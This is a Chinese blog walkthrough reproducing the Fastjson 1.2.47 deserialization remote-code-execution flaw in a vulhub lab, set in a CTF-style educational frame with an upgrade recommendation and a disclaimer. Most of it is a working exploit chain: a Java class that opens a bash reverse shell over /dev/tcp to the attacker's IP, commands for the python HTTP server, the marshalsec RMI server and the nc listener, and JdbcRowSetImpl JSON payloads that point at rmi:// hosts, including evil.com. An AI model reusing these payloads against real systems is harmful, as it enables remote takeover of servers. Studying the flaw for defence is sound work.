这一篇我打算水一篇文章,因为这篇fastjson 1.2.47和fastjson 1.2.24反序列化漏洞步骤是一样的,就是最后burp发送的请求包的payload有点差别。
fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
影响版本
Fastjson1.2.47以及之前的版本
vulhub靶机下载地址:https://github.com/vulhub/vulhub
靶机搭建在cenos7中ip:192.168.199.52,攻击机使用kali,ip:192.168.199.51。
开启靶机:
cd vulhub-master/fastjson/1.2.47-rce/
docker-compose up -d
web地址:http://ip:8090/
方法1、看见有json的请求包,就可以输入一串错误的json区请求测试
返回包的报错中有:com.alibaba.fastjson.JSONException:
方法2、如果没有报错回显,利用dnslog进行回显
{"test":{"@type":"java.net.Inet4Address","val":"dnslog的地址"}}
复现流程
1.访问http://ip:8090/
2.使用burp抓包
使用burp抓包修改post提交方式并且添加内容:{"@type":"java.lang.AutoCloseable"
最后返回包中显示失败,失败中有:com.alibaba.fastjson.JSONException:
3.新建TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.199.51/4444 0>&1"});
p.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
然后使用javac 命令对TouchFile.java文件进行编译。(javac TouchFile.java)
4.在kali 中使用python开启http服务
在kali中创建一个test文件夹,然后把前面创建的TouchFile.java文件移到该目录下,然后在该目录下使用python开启http服务
mkdir test
mv TouchFile.class test/
python3 -m http.server 1234
5.使用marshalsec-0.0.3-SNAPSHOT-all.jar
marshalsec下载地址:https://github.com/RandomRobbieBF/marshalsec-jar
将该文件也移到新创的test目录下
mv marshalsec-0.0.3-SNAPSHOT-all.jar test/
然后借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.199.51:1234/#TouchFile" 9999
6.在kali中使用nc开启端口监听
nc -lvvp 4444
7. 发送请求包
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 260
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.199.51:9999/TouchFile",
"autoCommit":true
}
请求rmi服务器是没有回显的,所以burp的response是没有内容的。
8.结果
1.2.47和1.2.24的复现过程区别
向靶场服务器发送Payload不一样,其他的过程都是一样的,1.2.47的pyload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/Exploit",
"autoCommit":true
}
1.2.24的payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi:// evil.com:9999/Exploit ",
"autoCommit":true
}
将Fastjson升级到最新版本
https://github.com/alibaba/fastjson
参考链接:
https://blog.csdn.net/weixin_44146996/article/details/111860438?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164499669816780366586530%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=164499669816780366586530&biz_id=0&spm=1018.2226.3001.4187
声明:
本文仅限于大家技术交流和学习,严禁读者利用本博客的所有知识点进行非法操作。如果你利用文章中介绍的技术对他人造成损失,后果由您自行承担,感谢您的配合,
作者创作不容易,请大家点赞收藏支持一下。谢谢各位读者大老爷。